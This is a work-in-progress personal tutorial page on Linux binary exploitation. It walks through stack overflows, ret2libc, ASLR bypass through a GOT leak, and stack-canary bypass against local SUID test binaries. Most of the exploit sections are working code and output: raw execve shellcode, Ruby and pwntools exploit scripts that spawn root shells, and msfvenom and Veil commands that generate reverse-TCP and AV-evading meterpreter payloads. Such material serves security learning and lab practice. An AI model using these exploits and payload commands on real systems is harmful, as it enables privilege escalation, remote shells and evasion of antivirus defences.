~rek2/101_Simple-Exploitation_Because_I_can

#101 Binary Exploitation because of ...

By ReK2 - Hispagatos.org

work in progress almost daily
not even alpha yet

[[TOC]]

#Command line tools

ltrace/strace: trace library or system calls performed by the target binary
readelf: displays information about and ELF binary file
objdump: displays information ab out object files. IO can also disassamble Linux executables
strings: extracts readable strings from binary
checksec.sh: check the properties of executables (like PIE, RELRO, PaX, Canaries, ASLR, Fortify Source
ldd: print shared object dependencies

#Command line examples

Example readelf
```
readelf -a /bin/ping
```

find SUID and SGID files

find / -perm /4000 2>/dev/null
find / -perm /2000 2>/dev/null
find / -perm /6000 2>/dev/null #to find files with both SUID and SGID

checksec
```
checksec --file=/bin/ping
```
ldd
```
ldd /bin/ls  
```

List all functions provided by libc

nm -D /lib/$(uname -m)-linux-gnu/libc-*.so | grep -vm U | grep -v "_" | cut -d " " -f3
nm -D /usr/aarch64-linux-gnu/lib/libc-*.so | grep -v "_" | cut -d " " -f3 # on arch GNU/Linux

#Executables sections

ELF executable sections:
- .data - Initialized data with read or write rights.
- .rodata - Initialized data with read only rights.
- .bss - Uninitialized data with read and write.
- .GOT - Global Offset Table - holds the addresses of functions.
- .PLT - Procedure Linkage Table - holds the functons stubs that point to the .GOT entry.
Windows executable sections:
- Work in progress
- Work in progress

#Dissable countermeasures

#Linux:

Disable NX and ASLR ``` gcc -fno-stack-protector -z execstack fuckit.c -o fuckit gcc -mno-accumulate-outgoing-args -fno-stack-protector -z execstack vulnerable.c -o vulnerable gcc -m32 -no-pie -fno-pie -mno-accumulate-outgoing-args -fno-stack-protector -z execstack program.c -o program echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ulimit -c unlimited

#to get core output working:

as root not sudo

echo "core" > /proc/sys/kernel/core_pattern
echo "core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern #RTFM for the values

#Windows:

Working on it
Working on it

#GDB

commands

Disassamble a function:
```
disas main
disas printme
```

Get address of variable:

x00000000 lea eax,[ebp-0x200]
p $ebp-0x200

Examine values on memory addressExploitation:

x/4wx 0xffffccb8 # content value of  memory addres hex
x/4ws 0xffffccb8 # from memory point to 4 addresses
x/100wx 0xffffccb8 #from memory point to 100 addresses

Examine value on memory strings

x/s 0xbffff7d2
0xbffff7d2:    "AAAAAAAA"

Examine value on register:
```
x/wx $esp
```
Load core dumps to debug:
```
gdb -q ./executable ./core
```

show libraries loaded by the binary:

vmmap # equiv to cat /proc/pid/maps where pid is the pid of the binary running.

Set register to an address:
```
set $eip=0x80492ce
```

#pwntools

This deserves a whole new section
working on it

#Buffer Overflows

#Stack Smashing

#Memory

Stack is an area of memory withing a process that is used by that process to safe data, offers more space than registers
- Also tracks the execution of a program
- The return address is the last memory address before a functiona call and this is stored in the stack.
- Stack is 4-byte aligned (32 bit)
- grows towards lower addresses. 0xbfffff5 ---> 0xbfffff4
Registers smaller that stacks but faster

#Create payloads/fuzzing

Ruby ruby -e 'puts "AAAAAAAAA" * 700' ruby -e "puts 'A'*700" > input.txt ruby -e 'puts "A"*516 + "B"*4 + "C"*180' > input2.txt

Python

python -c 'print "A"*2000' > payload.txt

#Calculate offsets

Ruby:
```
pattern_create.rb
pattern_offset.rb
```

Peda/GDB:

pattern_create -- Generate a cyclic pattern:

pattern create 700 pattern.txt
run < pattern.txt

pattern_offset -- Search for offset of a value in cyclic pattern

Stopped reason: SIGSEGV
0x4e734138 in ?? ()
gdb-peda$ pattern offset 0x4e734138
1316176184 found at offset: 516

#Generate Shellcode:

NOP ( NOP slides ): No-Operation instruction, opcode 0x90, it helps our exploit run the shellcode by sliding into the right memory address our shellcode starts at.
- you add NOP's to the start of the shellcode
Most times exploits will work inside GDB and not outside because the given shellcode address is not valid, because is a diff enviroment.
- Under this cirscunstance we can generate a core dump and then load it to gdb to see what happened.
- Inspecting and adjusting the exploit to match the address outside of gdb.
```
x/20wx $esp-0x250
```

Examples:

msfvenom:

msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.10 lport=6667 -b "\x00" -f python

Veil Evasion

veil -t Ordnance --list-payloads
veil -t Ordnance --list-encoders
veil -t Ordnance --ordnance-payload rev_tcp --ip 192.168.1.20 --port 1234

veil -t Evasion --list-payloads
veil -t Evasion -p 33 --ordnance-payload rev_tcp --ip 192.168.1.3 --port 8675 -o rek2test
veil -t Evasion -p 41 --msfvenom windows/meterpreter/reverse_tcp --ip 192.168.1.4 --port 8676 -o rek2

#Linux Exploit Countermeasures and ByPasses

The countermeasures start to matter on the way from the EIP control to shellcode When proper protections are in place, the buffer may have an unknown address and may not be executable at all.

NoExecute or DEP Data Execution Prevention
- What it does:
  - the most popular in moderm software.
  - disables the execution of data in the stack.
  - NX bit on AMD processors
  - XD Disable Bit on Intel processors
- BYPASS - ret2 Return-oriented programming family
  - Easily bypassed with ret2
  - Allows to have function arguments on the stack just fine
  - Point the EIP to a included function instead
    - ret2system or ret2libc.
    - ret2strcpy
    - re2read
    - ret2main
    - ...
ASLR Address Space Layout Randomization
- what it does:
  - When turned on, everytime a new process starts, its core memory areas will be loaded at a different address each time.
- Bypass:
  - Information leak
  - brute force memory address
  - working on it ...
Stack Cookie
- What it does:
  - Also known as Stack canary, stack protector, stack guard or SSP
  - 4-byte value
  - is pushed onto the stack when a function is entered, then function ends its task, the stack cookie is checked against the previously pushed value, if it different the program terminates by calling __stack_chk_fail function.
  - 4 types:
    - Random Canary
    - Randon XOR Canary
    - Null canary
    - Terminator canary
  - to enable at compilation add
```
-fstack-protector-all
```
- Bypass:
  - There is no universal way to bypass, Often creativity helps, whoever there are some approches to it.
  - Answer the following questions first:
    - What is the canary value? diff each run? try to pot it each time in GDB
    - What type of canary is it?
    - What function in the program is vulnerable? what are the allowed characters?
    - Is it possible to exploit before the function returns? so avoid comparation of value
    - Is the exploit remote or local? can it be bruteforce?
  - the most commong approach is to bruce-force the canay.
- Information leakages
- re2write
- format string exploits
RELRO Relocation read only -what it does:
- working on it
- BYPASS
- working on it

#Execute dead code

Abuse not used functions and forgotten code

make the EIP point to the function

We need to know the address of this function

 gdb -q ./code-insecure2
 info functions
 ...
 0x08049196  helper
 ...
 gdb-peda$ p helper
 $1 = {<text variable, no debug info>} 0x8049196 <helper>

We got the address at 0x08049196
lets analize a bit:

gdb-peda$ disas helper
Dump of assembler code for function helper:
       0x08049196 <+0>:    push   ebp
       0x08049197 <+1>:    mov    ebp,esp
       0x08049199 <+3>:    sub    esp,0x8
       0x0804919c <+6>:    sub    esp,0xc
       0x0804919f <+9>:    push   0x804a008
       0x080491a4 <+14>:    call   0x8049060 <system@plt>
       0x080491a9 <+19>:    add    esp,0x10
       0x080491ac <+22>:    nop
       0x080491ad <+23>:    leave  
       0x080491ae <+24>:    ret    
    End of assembler dump.

We clearly see a system() call and a push to the stack we can exploit
lets create the crafted buffer with the address of helper()
hexadecimal address is 4 bytes long so we need to add one zero (not if we get it using info functions since is alredy complete) 0x08049196 lets split the bytes and rever in litte indian format:
96 91 04 08
\x96\x91\x04\x08
calculate the offset, lets say is 516

Lets create the exploit

 ruby -e 'puts "A"*516 + "\x96\x91\x04\x08" + "C"*180'  > exploit.txt

now lets test it inside GDB:

gdb-peda$ run < 1.txt
  Starting program: /home/rek2/keybase/private/rek2/code-insecure2 < exploit.txt

  User provided 700 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
  [Attaching after process 1043228 vfork to child process 1043229]
  [New inferior 2 (process 1043229)]
  [Detaching vfork parent process 1043228 after child exit]
  [Inferior 1 (process 1043228) detached]
  [Inferior 2 (process 1043229) exited with code 0177]

now we can see it run the system() call inside the dead function ir forked and external process
this is the most simple example.
in some cases that we want to keep stdin open to run commands as root there is a trick.
```
ruby -e 'puts "A"*1012 + "\xcb\x84\x04\x08"' > exploit.txt
(cat exploit.txt; cat) | code-insecure2
```
This will keep the stdin open, with the second cat.

#Basic Stack Overflow

Exploit with shellcode and with fixed address ( very unreliable ) also no need to bypass system proteccions in a moderm linux system you will rarely find a binary that can be exploited this easy.. but we have to know the core idea to add later on bypassing of regular binary protections.

Examine the binary and find proper offset to precisely overwrite the EIP with our custom shellcode
```
23213233 found at offset: 150
```
now that we know the offset lets try it.

with the proper payload length, for testing use "BBBB" for example.

payload = "A"*150
payload += "BBBB"
print payload

and then ...

gdb -q ./binary
gdb-peda$ run `python exploit.py`
...
...
Stopped reason: SIGSEGV
0x42424242 in ?? ()

now we know we can control the EIP, it has been overwritten by B's (x42 in hex)
we need to find where does the buffers of A's (x41 in hex ) starts so we know where to put our shellcode
lets inspect the contect of ESP minus de value close to the buffer length (150)
```
x/30wx $esp-0x150
```
now we can see the buffer starts at some memory address
- example
```
0xbffff2b0 + 0x6 = 0xbffff2b6
```
we going to use one not so close to the start just in case... so falls into the A's (x41)
now you can implement the shellcode with the payload something like:
**[NOPS][Shellcode][EIP points to the start of the A's buffer or a bit after]

But first lets try with a simple shellcode using \xcc

xcc is a debugger breakpoint instruction named INT3, a SIGTRAP, will stop the execution as if a breakpoint was set

payload = "\xcc"*150
payload += "\xe0\xf2\xff\xbf" #EIP = 0xbffff2e0
print payload

run this on gdb and you should get a SIGTRAP
```
Stopped reason: SIGTRAP
```
Examine the EIP, we will see many sigtraps because we multimple by 150
```
x/40i $eip
```
lets examine $eip-0x20 so we can see the start of the buffer, you should see int3 starting address
```
x/40i $eip-0x20
```
lets do more test to the exploit:
Change the first 50 bytes to NOP's, so we hit the shellcode for sure.
create a shellcode placeholder - an INT3 instruction that we are supposed to hit.

Fill rest of buffer with anything

sc = "\xcc" #INT3
payload = "\x90"*50
payload += sc
payload += "A"*(150-50-len(sc))
payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload

run
```
gdb-peda$ run `python exploit.py`
```
the program now is on a SIGTRAP, and if we check the EIP dump the next instruction is the A's part of the buffer
Lets do the exploit for GDB:

create shellcode with any of your shellcode tools or manually and take out de INT3 since we do not need o test anymore

sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50
payload += sc
payload += "A"*(150-50-len(sc))
payload += "\xc0\xf2\xff\xbf" #EIP = 0xbffff2c0
print payload

now open the binary in GDB and run python exploit.py you should get a shell
works on GDB but this will change most likely outside of GDB.
Lets do the finish exploit:
we run the exploit.py outside gdb and hopefully get a core dump file
remember to run ulimit -c unlimited
we run gdb with the binary and the core dump
```
gdb ./binary ./core
```
inside lets inspect why is not running outside of GDB
```
x/40wx $esp-0x200
```
we see that the address we use has no NODS nor A's, instead is a regular memory address so is not good for us.
We need to modify the address, pick one that you see that hits the NOD's example.
```
0xbffffr2f0: 0x90909090 0x90909090 0x90909090 0x90909090
```
so we know at 0xbffff2f0 it will hit the NOD's x90 for sure

lets use that in our exploit:

sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"
payload = "\x90"*50
payload += sc
payload += "A"*(150-50-len(sc))
payload += "\xf0\xf2\xff\xbf"
print payload

Lets run the exploit against the binary
```
./binary `python exploit.py`
```
We get a root shell!!

#Basic ret2libc exploitation

bypass NX

In order to execute a function that is in libc:

Find an interesting function that will provide us with a shell
- System
- Exec* (execl, execle, exelp, execv, execve, etc...)
Set up the stack properly, we need:
- A saved return address
- Arguments to the chosen function
Overwrite the EIP with the function's address

Lets check the binary see if it has NX enabled:

checksec --file=unsecure-bypassNX
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   72 Symbols     No    0        2    binary-bypassNX

it does so lets bypass it.

find out offset

lets create a base exploit in ruby to prerare all our "boxes"

#!/usr/bin/env ruby

buffer = "A"*316 #offset
buffer += "BBBB"
buffer += "CCCC"
buffer += "DDDD"
buffer += "EEEE"

puts buffer

run this on GDB.

$ ruby exploit.rb > exploit.txt
gdb-peda$ run < exploit.txt

lets examine the stack at the moment of the crash we can see the addition to the buffer was placed there

gdb-peda$ x/8wx $esp
0xffffceb0:    0x43434343    0x44444444    0x45454545    0xf7d94e0a
0xffffcec0:    0x00000001    0xffffcf54    0xffffcf5c    0xffffcee4

gdb-peda$ x/8wx $esp-4
0xffffceac:    0x42424242    0x43434343    0x44444444    0x45454545
0xffffcebc:    0xf7d94e0a    0x00000001    0xffffcf54    0xffffcf5c

now picture:

BBBB is going to be substitute with the function we going to call that will spawn our shell
CCCC should be the return addres to be restored after executing that function, this should be the address of the exit() function
DDDD and EEEE shoul be the arguments to that function. you can add more arguments. simple.

System() function requires the least arguments, so is much simpler to use. use the linux man page for the arguments
```
man system
...
int system(const char *command);
```
This exploit is much simpler because we are on a non-ASLR system we will bypass ASLR in another example later.
Find the system() offset from libc, if doing this for a remote system we needt o know the version of libc on the remote system. for a remote system you have to run the same version on kvm or virtualbox to find its offset but for this we use our local GNU/Linux
```
$ find /usr/ -name libc.so.6 2>/dev/null
/usr/aarch64-linux-gnu/lib/libc.so.6
/usr/lib/libc.so.6
```
```
$ readelf -s /usr/aarch64-linux-gnu/lib/libc.so.6 | grep "system"
...
1383: 0000000000042148    40 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.17
...
```
we have 0x42148 now in GDB we run vmmap
```
gdb-peda$ vmmap libc
Start      End        Perm    Name
...
0xf7d93000 0xf7eea000 r-xp    /usr/lib32/libc-2.31.so
0xf7eea000 0xf7f59000 r--p    /usr/lib32/libc-2.31.so
...
```
we choose the executable address and now we calculate the address with the two values we got.
```
gdb-peda$ p 0xf7d93000 + 0x42148
```
ok write down this address! we will use it to subtitute BBBB.
- Another way to calculate the address is with gdb-peda
```
p system
```
Find the exit() we use the same method or the gdb-peda way.
```
p exit
```
this will substitute the CCCC box in our exploit.

Ok now we hace to find an argument for the system() function, like /bin/bash. we cant just pass /bin/sh or /bin/bash at the end of the buffer, we need an address where /bin/bash etc resides.

Using GDB-PEDA

gdb-peda$ break main
gdb-peda$ find /bin
Searching for '/bin' in: None ranges
Found 19 results, display max 19 items:
   libc : 0xf7f0432b ("/bin/sh")
   libc : 0xf7f05803 ("/bin:/usr/bin")
   libc : 0xf7f0580c ("/bin")
   libc : 0xf7f05c71 ("/bin/csh")
   libc : 0xf7f0a26c ("/bin:/usr/bin")
   libc : 0xf7f0a275 ("/bin")
[stack] : 0xffffd17f ("/bin/zsh")
...
...

- Manual way, only for local exploitation, example: priviledge escalation.

export SHELL='/bin/sh'

Now it should be findable at the bottom of the stack, near other enviroment variables. Also Peda will be able to locate it.
- We will use /bin/sh address 0xf7f0432b 
- 0xf7f0432b will be on our DDDD box

final exploit:

#!/usr/bin/env ruby

buffer = "A"*516
buffer += "\x00\xaa\xdb\xf7"
buffer += "\x70\xd5\xda\xf7"
buffer += "\x2b\x43\xf0\xf7"
#buffer += "EEEE" # not used for this exploit. system() only needs 1 argument

puts buffer

Execute exploit inside GDB

$ ./exploit-bypassNX.rb > exploit-bypassNX.txt
gdb-peda$ run < exploit-bypassNX.txt
...
...
Attaching after process 488838 vfork to child process 488847]
[New inferior 2 (process 488847)]
[Detaching vfork parent process 488838 after child exec]
[Inferior 1 (process 488838) detached]
process 488847 is executing new program: /usr/bin/bash
process 488847 is executing new program: /usr/bin/bash
[Inferior 2 (process 488847) exited normally]
...
...

as you can see it run /usr/bin/bash

Execute exploit and gain root

ls -alh binary-bypassNX
-rwsr-sr-x 1 root root 16K abr  1 05:41 binary-bypassNX
❯ (cat ./exploit-bypassNX.txt; cat) | ./binary-bypassNX

User provided 529 bytes. Buffer content is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
whoami
root

#ret2libc with information leak

bypass DEP and ASLR

similar technique than our simple ret2libc bypass NX exploit but with ASLR we can't reuse some addresses since they keep changing.
We not going to go into details mych since is similar with added complications
For this we going to enhance our technique with an information leak
ASLR does not affect PLT or GOT
we going to abuse the fact that plt/got are not randomized themselfs but after the loader resolves the function names, got points to libc, libc is randomized but we can abuse the fact that we have a non-randomized pointer to the randomized localtion, ha ha just follow on...
Having on libc address will allow us to calculate all the other addresses we need dynamically
We will exploit once, get the leaked address to figure out the rest of what we need then re-exploit to get shell with the new information.
- find your offset
- control the EIP
- in case you forget on GDB set disable-randomization on
- we going to use pwntools to make our live much easier, but when you are done with the book, go into details you should never relly on someone elses tools
- make sure you have pwntools that support python3 so runs on all Linux distros.
- ok in this first part below we going to find this pointer to libc that does not change.
```
#!/usr/bin/python

from pwn import *

r = process('./exploitme')
b = ELF('./exploitme')
# ldd ./exploitme
# libc.so.6 => /usr/lib32/libc.so.6 (0xf7d76000)
libc = ELF('/usr/lib32/libc.so.6')


puts_plt = b.symbols["puts"]
puts_got = b.symbols['got.puts']
main = b.symbols['main']

offset = b'A'*120
EIP = p32(puts_plt) #EIP overwrite
RET = p32(main) #return address
ARG = p32(puts_got) #argument to puts()

payload = offset + EIP + RET + ARG

r.recvuntil('name: ') # wait until this
r.sendline(payload)
r.recvline()

leak = u32(r.recvline()[:4])
print (leak)
log.info('leaked value, puts@libc is at: {}'.format(hex(leak))) # The leaked value is printed.
```
- As you can see, this was much simpler approach since pwntools will calculate for us the memory address of puts, puts_got and main on the fly
- Now that we have a pointer that will not change, we will work on the second part that is new to us so far.
- just as in the simple ret2libc bypass NX we will need 3 boxes, system(), exit(), and the argument /bin/sh
- to calculate this, we rest the filter address to the pointer of puts we know to get the value we need to figure out system,exit,and /bin/sh address
- we will also need to recalculate the offset
- ok so here we go, we continue the exploit:
```
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
exit = libc_base + libc.symbols['exit']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))


log.info('system@libc is at: {}'.format(hex(system)))
log.info('exit@libc is at: {}'.format(hex(exit)))
log.info('binsh@libc is at: {}'.format(hex(binsh)))

payload = ""
payload = b'B'*132
payload += p32(system) #EIP overwrite
payload += p32(binsh) #argument to puts()

# reexploit now that we bypass
log.info('Re-exploiting the main().')
r.recvuntil('name: ') # wait until this
r.sendline(payload)
r.interactive()
r.close()
```
- this will work and get you a root shell, RTFM the pwntools and learn how to do it with it pwntools with C
- The idea is to know what happens and what is going on, since this is not a tutorial expand your knowlandge and practice

also bypass ASLR and NX because we going to use a ret2function-style attack, so the non-executable stack didn't matter here.

follows similar, even easier example than the example above bypassing DEP/ASLR and will bypass DEP/ASLR/CANARY
The stack canary is ramdon every time it runs, so we will use again an information leak in order to get the canary
When we know the canary before exiting the program we will pass it to our overflow payload so it bypass the call to __stack_chk_fail and continue execution to overwrite the EIP as a regular overflow.

lets do this:

we will load and analize the binary inside gdb, show all functions, etc.

look in the dissamble where the call to __stack_chk_fail is with the respective mov, xor, je, call to figure out where the canary is checked.

 0x080492bd <+86>:    mov    eax,DWORD PTR [ebp-0xc]
 0x080492c0 <+89>:    xor    eax,DWORD PTR gs:0x14
 0x080492c7 <+96>:    je     0x80492ce <vulfunc+103>
 0x080492c9 <+98>:    call   0x80493a0 <__stack_chk_fail_local>
 0x080492ce <+103>:    mov    ebx,DWORD PTR [ebp-0x4]

now add a break on the nop instruction right before the canary is checked

...
0x080492bc <+85>:    nop
...
gdb-peda$ break *0x080492bc
Breakpoint 1 at 0x80492bc

run the program inside gdb with a long string or pass a long string of A's to the input until the protection will dissalow execution in some cases we can figure out the number by disassambling the binary.

ruby -e "puts 'A'*200"

gdb-peda$ run
Starting program: /home/rek2/keybase/private/rek2/stackcookiebypass/canary
Hello Hacker!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]  
EAX: 0xc9
EBX: 0x804c000 --> 0x804bf00 --> 0x1
ECX: 0xffffcda0 --> 0xf7f58ce0 --> 0xfbad2887
EDX: 0xc9
ESI: 0xf7f57e24 --> 0x1e4d2c
EDI: 0xf7f57e24 --> 0x1e4d2c
EBP: 0xffffce48 ('A' <repeats 88 times>, "\n")
ESP: 0xffffcdd0 --> 0xf7f58ce0 --> 0xfbad2887
EIP: 0x80492bc (<vulnfunc+85>:    nop)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x80492b2 <vuln+75>:    add    DWORD PTR [ebp-0x74],0x1
   0x80492b6 <vuln+79>:    cmp    DWORD PTR [ebp-0x74],0x1
   0x80492ba <vuln+83>:    jle    0x804928d <vuln+38>
=> 0x80492bc <vuln+85>:    nop
   0x80492bd <vuln+86>:    mov    eax,DWORD PTR [ebp-0xc]
   0x80492c0 <vuln+89>:    xor    eax,DWORD PTR gs:0x14
   0x80492c7 <vuln+96>:    je     0x80492ce <vulnfunc+103>
   0x80492c9 <vuln+98>:    call   0x80493a0 <__stack_chk_fail_local>
[------------------------------------stack-------------------------------------]
0000| 0xffffcdd0 --> 0xf7f58ce0 --> 0xfbad2887
0004| 0xffffcdd4 --> 0x2
0008| 0xffffcdd8 ('A' <repeats 200 times>...)
0012| 0xffffcddc ('A' <repeats 196 times>, "\n")
0016| 0xffffcde0 ('A' <repeats 192 times>, "\n")
0020| 0xffffcde4 ('A' <repeats 188 times>, "\n")
0024| 0xffffcde8 ('A' <repeats 184 times>, "\n")
0028| 0xffffcdec ('A' <repeats 180 times>, "\n")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x080492bc in vulnfunc ()
gdb-peda$

Lets check $ebp-0xc value

gdb-peda$ x/wx $ebp-0xc
0xffffce3c:    0x0b9f230a

This address 0x0b9f230a will be different each run...

lets examine a larger area around EBP

gdb-peda$ x/40wx $ebp-0xc
0xffffce3c:    0x0b9f230a<-    0x0804a010    0x0804c000    0xffffce58
0xffffce4c:    0x08049309    0xffffce70    0x00000000    0x00000000
0xffffce5c:    0xf7d91ee5    0xf7f57e24    0xf7f57e24    0x00000000
0xffffce6c:    0xf7d91ee5    0x00000001    0xffffcf04    0xffffcf0c
0xffffce7c:    0xffffce94    0xf7f57e24    0x00000000    0xffffcee8
0xffffce8c:    0x00000000    0xf7ffcfcc    0x00000000    0xf7f57e24
0xffffce9c:    0xf7f57e24    0x00000000    0x4b1644b3    0x06b7e2a3
0xffffceac:    0x00000000    0x00000000    0x00000000    0x00000001
0xffffcebc:    0x080490c0    0x00000000    0xf7fe74b4    0xf7fe1e50
0xffffcecc:    0x0804c000    0x00000001    0x080490c0    0x00000000

ok so notice that the canary lies in the buffer that we are able to overflow
now we going to find out the offset
create data

pattern create 200

run again but this time instead of A copy and paste this pattern.
now as we hit the breakpoint, we can examine the cookie.

gdb-peda$ x/wx $ebp-0xc
0xffffce3c:	0x41684141
gdb-peda$ pattern offset 0x41684141
1097351489 found at offset: 100

We now can see tghat the cookie starts to be overwritten after 100 bytes of the user buffer
We caninstantly check the offset to the EIP.
Lets use the gdb stepi or si instruction until the code stops at the __stack_chk_fail call.

[-------------------------------------code-------------------------------------]
 0x80492bd <vulnfunc+86>:	mov    eax,DWORD PTR [ebp-0xc]
 0x80492c0 <vulnfunc+89>:	xor    eax,DWORD PTR gs:0x14
 0x80492c7 <vulnfunc+96>:	je     0x80492ce <vulnfunc+103>
=> 0x80492c9 <vulnfunc+98>:	call   0x80493a0 <__stack_chk_fail_local>
 0x80492ce <vulnfunc+103>:	mov    ebx,DWORD PTR [ebp-0x4]
 0x80492d1 <vulnfunc+106>:	leave
 0x80492d2 <vulnfunc+107>:	ret
 0x80492d3 <main>:	lea    ecx,[esp+0x4]
No argument
[------------------------------------stack-------------------------------------]

So we see that the instruction after __stack_chk_fail is at 0x80492ce
WE CAN change the EIP value so that it points to another instruction like if there was NO STACK CANARY, and continue the execution in order to get our segfault

gdb-peda$ set $eip=0x80492ce

gdb-peda$ c
Continuing.
...
...
...
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414e41 in ?? ()
gdb-peda$ pattern offset 0x41414e41
1094798913 found at offset: 116

ok so now we know:
- the canary is overwrittern after 100 bytes
- The offset is at 116 bytes
exit gdb and restart gdb with the binary
Generate a 100 byte string and copy it, we will feed this to the application
we will also set a breakpoint on the nop again

ruby -e "puts 'A'*100"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

So we run and paste enter two times the data
Execution stops at the break point, there are more data this is the newline 0x0a character appended to stdin so there is 100 "A"s and a newline sent to the program.
Lets again examine the known canary location and some bytes before it.

gdb-peda$ x/wx $ebp-0xc
0xffffce3c:	0xb9acd80a
gdb-peda$ x/4wx $ebp-0xc-0xc
0xffffce30:	0x41414141	0x41414141	0x41414141	0xb9acd80a

notice the A's and the canary appended at the end of its buffer.
we can confirm the canary is correct by changing the last byte of the canary to 0x00 and allowing the execution

gdb-peda$ set {int}0xffffce3c = 0xb9acd800
gdb-peda$ x/wx $ebp-0xc
0xffffce3c:	0xb9acd800

next we continue and since the canary is what is expected it will continue the execution and exit normally

Continuing.
[Inferior 1 (process 183706) exited normally]
Warning: not running

so now we have proven tha the binary is vulnerable to information leakage.
we also now we ca force a leakage to know the value of the canary with out causing an overflow, since we know the correct value
we can use this to cause a legitimate overflow in our advantage with a valid canary to take over control of the RET address and set the EIP to for example /bin/sh address like we did on the bypassing ASRL/DEP exploit.
We already walked you on how to create a exploit before and pwntools so here is the resulting exploit, like before make sure you follow up and expand on this topic yourself.
Completed exploit:

#!/usr/bin/python

from pwn import *
import struct

r = process('./canary')

get_shell = b'\xd6\x91\x04\x08' #0x080491d6

payload = b'A'*100 
r.recvuntil('Hello Hacker!') # wait until this
r.sendline(payload)
r.recvuntil("A"* 100)

Canary = u32(r.recv(4))-0xa
log.info('Canary:'+hex(Canary))
        

payload = ""
payload = b'A'*100
payload += p32(Canary)
payload += b'A'*12
payload += get_shell


r.send(payload)
r.recv()
r.interactive()
r.close()

Run to get root:

  ❯ ./exploit-pwntools.py
[+] Starting local process './canary': pid 1415295
[*] Canary:0x42aee700
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ whoami
root
$ id
